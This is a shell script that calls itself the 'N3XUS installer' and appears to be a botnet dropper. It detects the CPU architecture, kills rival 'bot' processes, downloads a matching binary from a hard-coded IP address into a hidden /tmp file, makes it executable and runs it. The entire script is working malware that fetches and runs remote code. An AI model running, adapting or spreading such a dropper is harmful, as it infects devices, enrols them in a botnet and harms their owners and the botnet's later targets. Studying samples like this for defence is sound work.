#!/bin/sh
# N3XUS installer v3 - random-path exec install (survives rival bot killers)
U="http://82.27.2.141"
M=$(uname -m 2>/dev/null)
case "$M" in
  x86_64)                B=x86_64 ;;
  i686|i586|i486|i386)   B=i686 ;;
  aarch64|arm64)         B=arm64 ;;
  armv7l|armv7)          B=armv7l ;;
  armv6l|armv6)          B=armv6l ;;
  armv5*|armv5te)        B=armv5l ;;
  mips)                  B=mips ;;
  mipsel)                B=mipsel ;;
  powerpc|ppc)           B=powerpc ;;
  *)                     B="$M" ;;
esac

killall bot 2>/dev/null
sleep 1

rm -f /tmp/tbin.$$
N="/tmp/.s$$"
if command -v wget >/dev/null 2>&1; then
  wget -q "$U/arch/$B" -O "$N"
elif command -v curl >/dev/null 2>&1; then
  curl -s "$U/arch/$B" -o "$N"
else
  exit 1
fi

if [ ! -s "$N" ]; then
  rm -f "$N"
  exit 1
fi
chmod +x "$N"
rm -f /tmp/bot /tmp/tbin.*
echo "arch=$M bot running"
exec "$N" n3xus
